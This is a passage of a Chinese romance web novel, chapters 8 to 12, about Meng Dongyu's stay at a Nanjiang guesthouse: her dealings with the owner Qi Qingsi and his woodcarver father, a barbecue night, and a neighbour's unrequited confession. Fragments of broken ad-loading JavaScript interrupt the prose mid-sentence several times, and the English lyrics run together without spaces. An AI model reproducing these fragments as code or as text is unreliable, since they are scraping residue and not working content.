若是朋友或者熟人之间的聊天,童欣瑶不会表现得这么八卦。 他本就长了张招蜂引蝶的脸,身材人品也算拔尖,有人喜欢不足为奇。 孟冬愉没了兴致去看这些,转身回了客厅沙发上坐着,等着童欣瑶“忙完”。 片刻后,童欣瑶一个箭步猛地冲到孟冬愉身边,挽着她的胳膊,装作一直在聊天。 “冬天姐姐,南江市中心有家酥冰可好吃了,有机会你一定要去尝尝。” 话音刚落,门口祁清肆的嗤笑声传来,语调中有着秋后算账的意思:“童欣瑶,装什么?” 戏码被戳破,童欣瑶也没再继续演下去,她起身,面上带着心虚,态度却依旧理直气壮。 她反客为主地控诉:“祁清肆,你见色忘亲,有女朋友了就开始凶我。” “我可是你的亲表妹,我刚出生的时候你还抱过我呢。” 祁清肆被气笑,抓住了她话里的重点,问道:“我什么时候有女朋友了?” 童欣瑶有些惊讶睁大眼睛:“人家小姐姐鼓起勇气跟你表白,你没接受?” 祁清肆睥了她一眼,神色坦荡:“又不喜欢,我接受什么?” 童欣瑶撇了撇嘴,有些嫌弃地看着他:“那么温柔的姐姐,你都不喜欢,那你喜欢什么样的?” “我和你讲,你别眼光太高,说实话我都觉得你配不上那个小姐姐。” 祁清肆没回答她的问题,只是顺着她的话哼笑:“是,我不配。” 难得听到祁清肆服软,童欣瑶气势更足了些。 她看向孟冬愉,小大人似的叮嘱:“冬天姐姐,我和你讲,男人没多少好东西,我们女人一定不能当恋爱脑。” 孟冬愉被她逗笑,唇角不自觉地弯起,看着她点了点头。 而后又忽然间想起下楼的原因,没等童欣瑶再说些什么,她先开了口问道:“这里有酒精吗?” 话还没说得尽兴就被转移话题,童欣瑶反应了一下,才点了点头:“有的,在储物间,我和你一起去拿。” 去储物间的路上,童欣瑶接着和她分享祁清肆和那位女生的事情。 总结下来就是,女生前两年搬来的木犀巷,邻里之间你来我往,慢慢地熟识了起来。 祁清肆对女生什么态度,他们具体的关系如何,童欣瑶不是常年在这,也不知道。不过明眼人都看得出来,女生对祁清肆有意思。 童欣瑶分享完,还有些遗憾地感慨:“祁清肆这个人说话向来直来直去,被拒绝后,那位温柔姐姐估计要难过好一阵子了。” 孟冬愉笑了笑,没搭腔。 心里越发被童欣瑶的为人所吸引。 拿到酒精喷雾,孟冬愉径直上了楼。 在二楼又与祁清肆迎面相撞。 孟冬愉点头示意后,与他错身而过。 刚走两步,就听到他喊她:“孟冬愉。” 声音一如往日的低醇澄澈,伴随着树梢上的鸟鸣声,送入她的耳中。 孟冬愉脚步顿住,回头:“怎么了?”

'');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' > 祁清肆唇角勾着,依旧是一副闲散模样。 他目光灼灼地盯着她看了许久,才不疾不徐地应声:“没什么。” 莫名其妙。 孟冬愉心底暗暗吐槽,但面上还是礼貌地回应:“哦,那我先走了。” 转身走了没两步,祁清肆的话语声再次从她身后响起。 声音不大,却刚好让她听清楚:“你笑起来挺好看的。” 孟冬愉闻声再次回头,只看到了他慢悠悠下楼梯的背影。 眼下还有更重要的事情没做,孟冬愉没将他不着边际的话放在心上。 进了房间关上门,她将被马克笔涂黑的照片拿到书桌上,用棉柔巾沾了酒精轻轻去擦拭。 照片有塑封膜,黑色油性痕迹沾了酒精很容易就被擦掉。 只是可能是当时涂的时候力道过重,颜色清理掉之后,也能看到明显的印痕。 那些下凹的划痕虽然清理不掉,但是至少没有那么触目惊心了。 孟冬愉拿着照片犹豫了片刻,最终还是起身去了木雕店。 她过去的时候,祁振强刚好在吃午饭。 早饭时来,午饭时又来,祁振强已经从原先的不耐烦变成了无可奈何。 他把碗中的最后一口米饭吃掉,头也没抬地问道:“又来干什么?” 孟冬愉暗暗吸了一口气,缓缓开口:“想问一下,能不能找您定做几套十二生肖的沉香木木雕。” 可能是形容的过于具体,祁振强闻言顿了一下,似乎想起了什么,而后抬起了头,再次确认:“十二生肖?” “什么样的?有图片参考吗?” 开场白结束,得到了意料之中的反应。 孟冬愉从帆布袋中掏出照片,递了过去,点了点合照中的物品:“这是您之前做的吗?” 祁振强的视线并没有落到她指的东西上面,而是盯着照片中的女人,有些愣神。 过了片刻,他才抖着手,有些明知故问:“这照片你是哪里来的?” 孟冬愉抿了抿唇角,将真话润色了一下:“祁清肆让我拿着它来找您。” 祁振强应该是知道自己儿子的脾性,神色是明显的不信:“他会主动让你来?” 孟冬愉没应声,她再次指了指照片上的木雕,转移了话题:“这个您能做吗?” 祁振强摸了摸照片上女人的脸,神色是前所未有的温柔:“这是阿肆妈妈做的。” 回忆到当初的甜蜜,他笑了笑:“她当初缠着我教了她好久,才学会。” 孟冬愉顺着他的话,试图去打感情牌:“这些木雕满汀洲每个房间都有一个,很多顾客都特别喜欢。还有好多人想要买同款。” “只可惜,原本十二个,现在好像只剩八个了。” 祁振强闻声从回忆中抽神回来,有些气愤地猜测:“怎么回事?那小兔崽子给扔了几个?” 孟冬愉摇了摇头:“不是,被一些不知情的客人偷偷拿走了。” 祁振强叹了口气,再次去摸那张照片:“真有那么多人喜欢?” 没等孟冬愉应声,祁振强的注意力又落到照片中他的脸上,他摩挲了下上面的凹痕,苦笑般问道:“是那混小子干的吧?” 而后又自言自语似的喃喃:“他还在恨我。” 9. 私信 言辞中扯上“恨”这个字,说明往事复杂,牵扯很深。 孟冬愉的目的和兴趣并不在他们背后的故事上面。 她掠过祁振强后面的话,去回应他的第一个问题:“阿姨的这套木雕作品真的有很多人喜欢。” 祁振强笑了下,嘴角却带着苦涩:“可是她已经不在了。” 上次她写策划案时,从童欣瑶和祁清肆的对话中大致能猜到,祁清肆的母亲应该已经去世了。 孟冬愉并不怎么擅长去安慰人,看着祁振强有些悲痛地神色,她抿了抿唇角:“抱歉,提起了您的伤心事。” 祁振强也算是个聪明人,没再去讲孟冬愉不感兴趣的那些往事。 他看着她,将她的来意拆穿:“我知道你拿着照片来找我的目的。” 孟冬愉也没再绕弯子,索性开门见山:“师傅,上午我可能表达得不够清楚。” “我说的推陈出新不是让您弃旧换新,也不是让您一味迎合大众喜好,而是想让您在原有的基础上适当改良。” 祁振强依旧试图反驳:“你怎么就知道我没改良过?” “您又误解了我的意思。”孟冬愉礼貌地笑了笑,颇有耐心地再次解释,“雕刻技艺上的改良您比我了解,但我说的不是这个,而是店铺经营方式上的改良,或者说是产品多样性的改良。” “就像这套十二生肖的木雕摆件,与您那些花纹繁复的作品相比,确实没有什么技术含量。但是它确实更能吸引消费者的目光。” 孟冬愉下一句语言还没组织好,祁振强就插话进来:“你这不还是让我放弃祖辈传下来的东西,去迎合消费者?” “不是要您放弃。”孟冬愉摇了摇头,尽力将一些商品营销的术语简单化,“只是想要您试试在闲暇时间,随手雕一些简单可爱的小摆件放在店里,它们吸引来了客流,到时候您的经典的雕刻作品也会得到更好的曝光。” “很多时候,要先吸引来人,让他们从感兴趣变成喜欢再发展成爱好,才更有利于将技艺传承下去。” 祁振强数几十年守着一家店,多少有点闭门造车的意思。 对于时代的发展和变迁的感知或者说敏锐度是远低于年轻人的。 孟冬愉讲完这些话,没想过他能即刻理解。 她安静地看着他,等待他接下来的反驳。 然而,祁振强却顺着她的话点了点头:“行,那我就按你说的试试。” 突如其来的态度上的转变,让孟冬愉有些惊讶。 祁振强再次摸了摸照片中的女人,为自己的转变作了解释:“阿肆妈妈曾经也说过,让我别那么死板。” 话说完,他又抬头问道:“这张照片能留在我这吗?” 这张照片的归属权和处置权都不在她,孟冬愉坦诚道:“我做不了主。” 像是知道这个答案,祁振强苦笑解释:“阿肆妈妈去世之后,那小子把她生前所有的照片和物品都藏了起来,我这连个念想都没有。” 虽然原本不打算掺和他们父子之间的私事,但是毕竟祁振强答应了接下来的合作。 以后肯定免不了各种沟通相处。 孟冬愉叹了口气,给了他回应:“我帮您问问祁清肆吧。” 不知不觉间晌午已经快要过去,肚子此刻不满地叫嚣着,提醒她快去吃午饭。 孟冬愉又和祁振强简单聊了几句,得到了他这两天会抽空复刻一套十二生肖的木雕出来的承诺,而后礼貌地向他告了别。 事情有了进展,孟冬愉也开始有了心思去逛一逛南江。 她沿着秋意街随便吃了点东西,打车去了南樟路。 南樟路不算什么著名景点,距离秋意街差不多十几分钟的车程。 孟冬愉去那里,只是想去看看很喜欢的那个词曲创作人的工作室旧址。 说起那个词曲创作人,孟冬愉其实也不知道他真名叫什么,今年多大。 他在八年前用“载酒”一名,凭借一首为一个过气歌星写的歌,横空出世。 那首歌霸占各大音乐类APP榜单之首长达一年,过气歌星借此翻红,载酒也成了炙手可热的词曲创作人。 他的作曲风格变化多端,可以说是名副其实的音乐奇才。 这些年来,各大顶流歌手争先恐后向他邀曲,但是他选择与谁合作全凭心情。 孟冬愉关注了他的微博好多年,他当初换新工作室的时候发过一条微博。 很多老粉都知道那个名为“四”的旧工作室就在南樟路。 孟冬愉下了车,望着眼前绿意浓郁的香樟大道,举起手机拍了张照片。 她打开微博,将照片po了上去,并配文:【新的开始。】 她的这个微博是大学时注册的,里面记录了不少大学四年的日常生活。 工作前两年她还偶尔登上来发一些吐槽,后面越来越忙,就很少有心思和时间,去表达自己的情绪。 孟冬愉将手机放回包里,沿着香樟大道往前走。 浓密的枝叶将炽热的阳光严严实实地遮住,微风袭来,卷着少数叶子飘落。 香樟大道的尽头就是被关掉的工作室。 印着五颜六色涂鸦的铁门上了锁,门上还有一些慕名而来的粉丝的留言。 孟冬愉站在门前徘徊了许久,捡起了地下的一个粉笔头,在门上留了一行字。 是他曾经写过的,她很喜欢的一句歌词—— 【那些枷锁将要被你挣脱,不要惧怕,灰暗时刻。】 这句歌词和这首歌曾经陪伴她熬过了很长一段的黑暗时期,像是一剂救命的良药,让她咬着牙走到今天。 孟冬愉象征性地拍了几张照留作纪念,想了一下,又点开微博私信,挑了一张照片发给了载酒。 【二零二四年秋,到此一游。】 他的微博粉丝有几百万,微博私信虽然开着,却从不回复。 孟冬愉之前很长一段时间把他的私信当成备忘录来用。 消息发完,孟冬愉继续沿着南樟路漫无目的地往前走。 直到双腿开始泛酸,她才打了车回满汀洲。 出租车停到巷子路口,原本腿上的酸劲儿已经缓和了不少。 顺利说服了祁振强,又去了曾经很想要去打卡的地方,孟冬愉觉得心底有种前所未有轻松和愉悦。 她踩着脚下的青石板路,脚步也不自觉轻快了起来。 然而,这种快乐的心情没持续多久,路上突然出现了一个,黑色的,吐着舌头的,大狗。 它站在马路正中间,拦住了她的去路,目光炯炯地盯着她。 孟冬愉小的时候被狗咬过,见到这种长相并不 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 可爱,体型又巨大的犬类,会下意识地感到害怕。 她脚步慢慢往后退,它却跟着她一步步往前移。 孟冬愉心底的恐慌促使她不自觉加快了后退的速度。 对面的狗像是以为她在陪它玩一样,看起来兴奋了点,也加快了靠近她的速度。 它在扑过来的那一瞬间,孟冬愉脑海中只剩一句话—— 她逃,它追,她插翅难飞。 “中秋,过来。” 听到呼喊声,狗在扑到孟冬愉身上前刹住了脚,而后折返,耷拉着舌头,飞快地向它身后的人扑了过去。 孟冬愉从惊吓中回神,看清了眼前的一人一狗。 都是一身黑,怎么感觉还挺像的。 祁清肆蹲着帮黑狗顺了顺毛,眼中带着点调侃地意味看向她:“孟冬愉,怕狗啊?” 孟冬愉没搭腔,拢了拢掉落的帆布肩带,贴着墙往前走。 祁清肆见状笑了声,拍了拍黑狗的头,语调带着一丝顽劣:“中秋,去和姐姐打个招呼。” 面对他这种故意拦她路的行为,孟冬愉皱了皱眉:“你想怎么样?” 应该是知道了她是真的在害怕,祁清肆把黑狗拦在身后,嘴上依旧是不饶人:“怕什么,它又不咬人。” 孟冬愉忽然想起她当初被狗咬的那次,狗的主人也说它不咬人,让她随便摸。 结果她的手刚落到它的头上,胳膊就被它咬了一口。 僵持了片刻,孟冬愉刚打算绕过他们要走,狗的主人却在这时赶来。 是今天上午找祁清肆表白的那个女生。 女生看到眼前的架势,大致也猜出来一些。 她走到孟冬愉面前,真诚地道歉:“不好意思啊,今天门没关紧,让它溜出来了。吓到你了吧?” 孟冬愉摇了摇头:“没事。” 女生笑了笑,温柔地给了个台阶:“它确实长得有点吓人,我平时都不让它单独出门的。” 孟冬愉也跟着笑了下,解释道:“还好,我之前被狗咬过,所以有点阴影。” 闻言,女生像是找到了共同话题:“我两年前刚收养它的时候也被它咬过,当时还是清肆开车送我去的医院。” “那时候一下打了好几针,特别是那个免疫球蛋白,可疼了。” 不算是共同话题,因为她当时只被狗的主人带去打了狂犬疫苗。 孟冬愉配合着点了点头,没再吱声。 女生也识趣地不再搭话,她走到祁清肆身边,弯腰把手中的牵引绳套到黑狗的脖子上,而后看向祁清肆,笑着问道:“是她吗?” 祁清肆勾着唇角笑了声,不置可否。 女生向他们分别告了别,继而牵着狗转身离开。 孟冬愉和祁清肆一前一后地沿着巷子往前走。 祁清肆又忽的将她喊住:“孟冬愉。” 孟冬愉脚步停住,回头看他。 祁清肆两步走到她身后,帮她把针织衫背后挂着的树叶摘掉。 他捏着叶片看了一会儿,漫不经心地问道:“去南樟路了?” 凭借着一片叶子就能猜出来她去了哪儿? 孟冬愉下意识反问:“你怎么知道?” 祁清肆意味深长地看了她一眼,走在她前面慢悠悠开口:“你有的时候挺不聪明的。” 10. 回复 孟冬愉回到满汀洲小院里的时候,胡杭和童欣瑶正在支烧烤架。 童欣瑶见祁清肆和孟冬愉一前一后进了门,眯了眯眼睛,有些狐疑地问道:“你们怎么又一起回来了?” 话音还没落,胡杭看了眼时间,也跟着应声:“是啊,肆哥,你不是说要去南樟路吗?怎么这么快回来了?” 不知道是不是频率错觉的原因,“南樟路”这个地点,今天在大家的口中出现地有些频繁。 孟冬愉有些疑惑地确认:“去南樟路?” 胡杭没等祁清肆开口,倒先向孟冬愉解释了起来:“肆哥在那里有一套房子出租,有个租客老太太可烦人了,遇到点什么问题就让肆哥过去。” 应该是说到了气头上,胡杭把拎来的木炭重重地丢在地上,发泄着极大的不满:“我真的要气死了,本来我们游戏玩得好好的,他忽然就说有急事要过去一趟,害我被队友骂惨了。” 童欣瑶瞥了胡杭一眼,与他斗嘴:“你自己菜,还怪别人挂机。” 胡杭被她的话噎了一下,没再搭理她,转头继续问祁清肆:“所以呢?急事这么快解决了?” 祁清肆看了眼孟冬愉,而后含糊不清地点了点头,一句话回答了两个问题:“嗯,还顺路来了场英雄救美。” 童欣瑶没听太懂他话里的意思,注意力只在“英雄救美”这个词上。 她视线望了一圈儿,一下子来了劲儿:“美呢?美呢?你救的美女呢?” 祁清肆略带嫌弃地嗤笑了声,没搭腔。 “童欣瑶,你脑子是不是少根筋?”胡杭嫌弃地吐槽她,而后看了眼孟冬愉,有些不好意思地挠了挠头,“美女不就在肆哥身边?” 童欣瑶这才反应过来,她把祁清肆挤开,有些关心地凑到孟冬愉身边:“冬天姐姐,你遇到什么危险了?” “南江治安挺好的,没听说过有什么小混混闹事啊?” 非要把她怕狗这件事闹得人尽皆知吗? 孟冬愉有些恼地看了眼祁清肆,刚好和他视线相对。 祁清肆眼睛中染着揶揄的笑意,一副看好戏的模样。 童欣瑶还在等着她的答案,孟冬愉揉了揉眉心,继而摇头否认:“没有,你们老板说的太夸张了。” 还没等童欣瑶应声,祁清肆双手环在胸前,挑眉看她:“孟冬愉,我没名字吗?” 孟冬愉回忆了一下,她好像还真没有当着他的面喊过他的名字。 本来觉得没什么的,他当众这么一问,她忽然间觉得他的名字莫名有些难以启齿。 童欣瑶瞪了祁清肆一眼,不满地帮孟冬愉回击:“冬天姐姐又没和你讲话,而且喊你老板是尊重你。” 祁清肆咬着牙将童欣瑶从他们中间拎开:“行,老板命令你去洗菜。” 闻言,胡杭一边串着肉串,一边幸灾乐祸:“来吧小公主,肆哥都发话了,今天就别想当监工了。” “我又没说不干。”童欣瑶白了他们两个一人一眼,而后又凑过去挽着孟冬愉的胳膊:“冬天姐姐你吃过晚饭了吗?要不要和我们一起吃烧烤?” 孟冬愉看了眼现场正在准备食材的那几个人,一号房的那对小情侣和三号房的短发女生都在。 她本来也没吃晚饭,犹豫了一下,还是客气地问道:“方便吗?” “当然方便啊。”童欣瑶点头,又接着解释,“二号房的大哥和五号房的姐姐等会儿也来。” 说到这里,童欣瑶单手握拳将胳膊举了起来,有些激动:“我们今晚在这里搞场烧烤party!” 孟冬愉失笑:“那需要我做些什么?” 童欣瑶挠了挠头:“那我们一起去洗菜?” “还挺会找帮工。”祁清肆嗤笑了声,倒是没阻拦她们。 大家在有说有笑中将食材串好,原本只有点头之交的几位房客也都开始熟络起来。 木炭在烤炉中被点燃,二号房的大哥拎着啤酒和饮料回来。 几位男士作为“烤官”在“主烤官”祁清肆的培训下又开始忙碌了起来。 胡杭的第一个鸡翅率先烤好,他激动地朝女士们挥了挥手,邀请大家来品尝。 然而,女士们你看看我我看看你,没一个人起身过去。 眼看着胡杭神情有些受挫,孟冬愉起身救场。 她刚来不久,对大家还不算特别了解,不知道她们为什么对胡杭的食物这么抗拒。 就算他厨艺不行,烧烤这种东西,只要熟了,应该也难吃不到哪里去。 胡杭见孟冬愉过来,兴高采烈地撒了辣椒和孜然粉,递给了她。 孟冬愉还没接过去,就被祁清肆给抢走了。 他皱着眉头咬了一口,嫌弃地丢到一旁的盘子中。 面对祁清肆突如其来的举动,胡杭有些懵:“祁清肆,你干什么?” “我试试毒。”祁清肆扯着唇角笑了下,又睥了他一眼,“都没烤熟,怎么吃?” 胡杭捡起盘子中的成果,用筷子戳了戳,依旧是不服气:“哪里没熟?” 祁清肆没搭腔,将自己烤好的牛肉串递给孟冬愉:“吃这个。” 本就有些饿了,孟冬愉也没客气,接过去,道了声谢。 咸香的孜然和盐粒裹着焦香的牛肉,口感嫩滑又有嚼劲,不断刺激着人的味蕾,勾起更多的食欲。 祁清肆好整以暇地看着她,像是在等着她点评似的。 孟冬愉这次倒没吝啬,她将口中的食物咽下,真诚地夸赞道:“很好吃。” 得到了满意的答案,他的唇角上扬了几分,带着点似有若无地骄傲,接着去翻动烧烤架上的肉串。 胡杭见状有些生气:“祁清肆,我看你就是想让冬愉姐先尝你烤的。” “确实。”祁清肆懒散地点头承认,又掀起眼皮看他一眼,“你不先问问你冬愉姐吃不吃辣,就先放辣椒?” 闻言,胡杭试图去反驳他:“冬愉姐不是临城那边的人吗?肯定能吃辣啊。” 临城人是出了名的能吃辣,胡杭这么猜也不足为奇。 但是孟冬愉自小就肠胃不太好,不太能吃油腻和辛辣的食物,饮食一直是怎么清淡怎么来,久而久之,口味也就定了型。 看着胡杭还在为此争执,孟冬愉抿了抿唇角,如实坦白:“不好意思啊,我其实不太能吃。” 童欣瑶见孟冬愉迟迟不回来,凑了过去试图把她唤回。 同时,为了不让胡杭再搞什么黑暗料理浪费食材,她也把他拉过去和女士们一起坐着聊天。 烧烤很快被一盘盘端上桌,众人围坐在一起,在夜色下把酒言欢。 大家你一言我一语,从天南海北谈到自身经历,关系不知不觉间拉进了不少。 酒足饭饱,其中有人提议表演节目。 三号房的短发女生主动出来跳了段街舞,赢得一阵又 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 一阵真挚的喝彩声。 表演结束,胡杭趁机起哄:“肆哥,来一首吧。” “给大家展示一下你的金嗓子。” 三号房的短发女生回到座位上,笑着问道:“我只听过祁清肆谈过吉他,他唱歌也很好听吗?” 胡杭嘿嘿笑了声:“我不过多评价,你们一听就知道了。” 见胡杭搞得这么神秘,众人也跟着起哄,让祁清肆来一首。 祁清肆也不是玩不起的人,爽快地拿了吉他伴奏,缓缓开口。 他的嗓音低沉倦懒,又夹杂着丝许温柔。 唱的是一首无关风月的英文歌。 …… Sokeepyourheadupprincess''foreyourcrownfalls 亲爱的公主抬起你的头别让皇冠落下 Knowthesevoicesinyourheadwillbeyourdownfall 脑海中的那些声音只会阻碍你闪闪发光 Iknowitgetssohardbutyoudon''tgotfartogo 我知道此刻举步维艰但你并不会受困于此 Yeah,keepyourheadupprincess,it''salongroad 亲爱的公主抬起你的头这条路漫长却值得 Andthepathleadsrighttowheretheywon''tgo 因人迹罕至而开满鲜花 IknowithurtsrightnowbutIknowyou''llmakeithome 我知道此刻难免痛苦但你终会回到你的城堡 Sokeepyourheadup 所以抬起你的头 Yeah,keepyourheadup 昂首向前吧 …… 不知是月色似水还是他的歌声似水,众人沉浸在这如同山泉潺潺的氛围中,心底都不自觉温柔了几分。 这顿烧烤,在祁清肆的一首歌和几首吉他演奏中结束。 大家一起收拾好院子,而后各自回了房间。 孟冬愉洗漱好躺在床上翻了翻手机,突然收到一条微博消息—— 载酒:【欢迎来南江。】 看清楚手机通知中心的提醒,孟冬愉猛地从床上坐起来,有一瞬间的心跳加速。 她心惊胆战地点进去,再次确认了—— 【欢迎来南江。】这句话上面,是她今天上午发的【二零二四年秋,到此一游。】 载酒看了她的私信,并且回了她。 孟冬愉手有些微微发抖,她在聊天框中噼里啪啦打了一堆字。 读了一遍之后又觉得不太妥当,又一点点将它们删掉。 她现在这个手机刚换不久,之前的记录都清理掉了。 但是依稀能想起来,之前把他的私信当备忘录的时候,发的那些乱七八糟的吐槽。 不知道他那边有没有看到过。 孟冬愉越回忆那些吐槽就越觉得羞耻,她揉了揉有些发烫的脸颊,犹豫了片刻,最后决定装死。 她退出聊天界面,又躺回了床上。 只是刚躺下去,就听到了敲门声。 门外的人有规律地扣了两下门,而后喊她:“孟冬愉。” 11. 心跳 在满汀洲直呼她大名的人也就一个。 只是这么晚了,祁清肆来找她做什么? 带着点疑惑,孟冬愉从床上起来,趿拉着拖鞋,去给他开了门。 走廊上的声控顶灯打着暖黄的光,祁清肆站在她的门前,一动不动地盯着她看。 他眸色深邃,带着几分探寻和一些她看不太懂的情绪。 孟冬愉又想起,方才他唱歌时,也是这样的眼神直白地落在她身上。 在朦胧月色下,在众人沉浸在歌声中时,他唯独看向了她。 歌曲无关风月,但是那一瞬间的氛围暧昧至极。 她明显地感觉到当时她的心跳确实漏了一拍。 就像此刻一样。 长久没人出声,声控灯突然熄灭。 昏暗的四周,月色再次起了作用,这种氛围持续发酵。 孟冬愉的角度,能看到他的眼睛中染着丝许克制,喉结滚了又滚。 入夜气温下降,微凉的夜风忽然袭来,吹得人猛地清醒。 孟冬愉快速把这一切归结于方才喝的那罐啤酒,归结于身体本能地荷尔蒙作祟。 她移开了视线,轻轻地咳了声,率先打破了这份安静:“找我有事吗?” 灯光应声亮起,祁清肆低头笑了下,将眼中的情绪尽数收敛。 他把手中的兔子木雕递给她,嗓音有一丝哑:“落在我这儿的。” 和他的距离不算远,孟冬愉能闻到他讲话时,呼吸间带着淡淡的酒气。 今晚胡杭拉着在场的男士喝了不少酒,大家也都没扫兴,二号房的大哥拎来的酒水结束时已经全是空瓶。 祁清肆更是被胡杭一罐接着一罐地灌。 都是酒精的作用。 明确了这件事情,孟冬愉总算彻底安了心。 她的注意力回到祁清肆的手中。 当时他把照片强行塞给她后,她的脑子一团乱,就径直回了房间,连带过去的摆件都忘了拿。 孟冬愉从他手上接过去,忽然间又想起上午答应祁振强的事情。 她酝酿了下措辞,缓缓开口:“那张照片在祁叔叔那里。” 祁清肆神色又恢复些往日散漫,他哼笑:“知道。” 没有完全明确他的态度,孟冬愉接着问:“需要拿回来吗?” 祁清肆意味深长得看了她一眼:“孟冬愉,真站我这边啊?” 孟冬愉的本意只是想当一个传话筒,把人情世故做全。 至于照片最后留在谁那里,她并不是很关心。 像是将她的心思看透了一样,祁清肆接下来的话倒没让她为难。 他扯起唇角,话里带着点讥嘲:“送他了。” 孟冬愉点头:“多谢。” 话题结束,沉默再次开始。 祁清肆神色不明的看向她,片刻后,像是提醒般问道:“没什么想问我的吗?” 问什么? 孟冬愉不理解他讲这句话的意思。 她蹙了蹙眉,而后摇头:“没有。” 闻言,祁清肆叹了口气,带着点欲言又止去喊她的名字:“孟冬愉。” 他的声音很轻,眸色晦暗不明,仿佛接下来有无数的话要和她讲。 孟冬愉心底的不解更深,她看着他问:“怎么了?” 片刻的安静后,他垂头轻笑,再次抬眼看她时,又恢复了那股子懒散劲儿。 他扬起下巴朝她房间的方向点了点,示意她回去:“没什么,早点睡。” …… 可能是昨晚没休息好,也可能是酒精的作用。 祁清肆的那句“早点睡”像是有魔力似的,孟冬愉回去之后躺到床上,脑子还没来得及复盘今天发生的一切,就不知不觉地睡了过去。 第二天醒来时,已经是上午九点多钟。 童欣瑶正坐在楼下餐厅等着蹭三号房的早餐吃。 培根煎蛋三明治上桌,孟冬愉也被她们邀请一起去吃。 经过昨晚的那顿烧烤,大家彼此之间熟悉了不少。 孟冬愉也没客气,磨好了咖啡,就和她们一起吃饭聊天。 饭桌上,听她们提起南江避暑纳凉的好去处——弯月湖公园。 孟冬愉今天也没什么安排,就决定等会儿去逛逛。 弯月湖旁边就是国家5A级景区南江植物园,离秋意街不算很远,打车也不过十几分钟。 孟冬愉买了植物园的门票,跟着前来打卡的游客一同进去参观。 植物园很大,很多景又布在山上,她差不多逛了两小时才逛完。 出去之后本想找个凉亭歇脚,却意外碰到了昨天拦她路的黑狗,和黑狗的主人。 女生把牵引绳回缩,把吐着舌头的大狗拉到她的身后,而后笑着寒暄:“好巧啊。” 孟冬愉礼貌点头示意。 女生好像对她很感兴趣,她把狗拴在最里面凉亭的柱子上,又回到孟冬愉身边,朝她伸出了手:“你好,我是宋相宜。” 孟冬愉回握:“你好,孟冬愉。” 宋相宜温柔地笑了笑,没有拐弯抹角:“方便聊一下吗?” 只有昨天的一面之缘,孟冬愉不明白宋相宜想和她聊什么。 她点头,而后开门见山:“聊什么?” 宋相宜倒是不着急,她拉着孟冬愉在凉亭里坐下,像讲故事似的,缓缓开口:“我第一次遇见祁清肆,不是在木犀巷,而是在这里,那天刚好是中秋节。” 虽然宋相宜已经将聊天话题引了出来,但孟冬愉依旧不理解。 为什么要和一个陌生人讲她和祁清肆的事情? 孟冬愉话问得直白:“你确定要和我讲你们的故事?” 宋相宜笑着给了个理由:“你可以当做我觉得和你一见如故。” 本来也没什么事情,既然她坚持要和她讲。 孟冬愉没再多说什么,只是点头,耐心地听她接着说。 宋相宜回忆了一下:“当时我刚搬来木犀巷,带着画板来这里写生,刚挤好颜料,就被突然闯出来的一只流浪狗给打翻了。我有点生气,本想教训一下它,不曾想却被它反咬了一口。” “当时被它咬过的伤口一直在流血,我也有些慌,一时间不知道要怎么处理。那时恰好祁清肆路过,他帮我初步处理了一下,又把我带去了医院。” 宋相宜看了眼不远处的黑狗,牵起唇角笑了下:“我觉得 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 自己有的时候挺倔的,明明被它咬了,我却执拗地想要收养它。” “祁清肆本来把我送去医院就打算走的,但是就因为听到我坚持要收养那条流浪狗,而多看了我一眼。” “我最终还是收养了那条狗,并给它起名中秋。得知我和祁清肆都住在木犀巷时,我开始以训练不好中秋为由,多次去找他帮忙。” “其实我一直都知道他对我没有任何意思,但是越和他相处,我就越是心动。” “不是因为他对我多好,而是他本身就是一个很好的人。” 孟冬愉没经历过也并不理解这种感情。 明明知道对方不喜欢自己,为什么不及时止损? 她在心底叹了口气,终究没把疑惑问出口。 宋相宜看了她一眼,接着说:“我过两天就要搬走了,临走前为了不留遗憾,向他表了白。” “你知道他是怎么拒绝我的吗?” 孟冬愉曾经也拒绝过不少人,无非就是说不喜欢,没那个意思,祝他早日找到对的人。 她其实对此并不感兴趣,摇了摇头,说:“不知道。” 宋相宜看着孟冬愉,似乎想要从她脸上找出些许异样:“他说他有喜欢的人。” 确实也是一句拒绝人的话术。 孟冬愉没觉得有什么问题。 没能从孟冬愉脸上得到满意的答案,宋相宜唇角染上一丝苦笑:“希望他能如愿以偿。” 爱而不得的是她,希望他得偿所愿的也是她。 孟冬愉心底有一丝感慨,但又觉得宋相宜其实应该自私一点,不该怎么慷慨。 …… 弯月湖公园确实是一个避暑纳凉的好地方,独特的造景让此处气候自成一片,将外界的燥热隔离开来。 孟冬愉本想在这里待到傍晚再回去,却在暑气正盛的午饭后收到了童欣瑶的消息。 【冬天姐姐,急事,速回。】 虽然并不知道发生了什么事情,孟冬愉还是在收到了消息后,赶了回去。 回到木犀巷的时候,童欣瑶正在小院门口等她。 见孟冬愉回来,她兴奋地挽着她的胳膊,往院子里走。 孟冬愉边走边问短信里没讲清楚的事情:“怎么了?发生了什么事?” 童欣瑶神秘兮兮地拉着她进了客厅,下巴努了努餐桌的方向:“当然是邀请你品尝南江的酥冰呀。” “你再回来晚一点,都要化掉了。” 孟冬愉顺着她的视线望过去,餐桌上,放了两盒刨冰似的甜品。 一盒是全新的上面点缀着麻薯芋泥,另一盒已经被吃了一半。 孟冬愉隐隐约约记得,童欣瑶提起过南江市中心的一家酥冰很好吃。 没想到,她还特意买回来让她尝。 这几天已经蹭了他们太多东西吃,孟冬愉也有些不太好意思。 她向童欣瑶道了谢,而后问道:“多少钱啊?我转给你。” 童欣瑶坐下接着去吃她剩下的那半盒冰,听到孟冬愉这么问,她摆了摆手,理所应当似的:“祁清肆请客,不要钱。” 话音刚落,祁清肆的声音自楼梯转角处响起,腔调懒散:“谁说不要钱?” 12. 排斥 祁清肆慢悠悠地从楼梯口走过来,拉了把椅子坐到孟冬愉对面。 童欣瑶还在为他刚刚的话耿耿于怀。 她不满地撇了撇嘴:“祁清肆,你什么时候这么抠了?” 祁清肆不以为意地勾着唇角:“我一直都不大方。” 童欣瑶狠狠地挖了两勺冰塞进嘴里,依旧没有给钱的意思:“你自己主动跑去市中心买回来的,又不是我让你去买的,凭什么转过头来还要钱啊?” 话音落,她似乎又想到了什么,接着问道:“你不会真没钱了吧?” 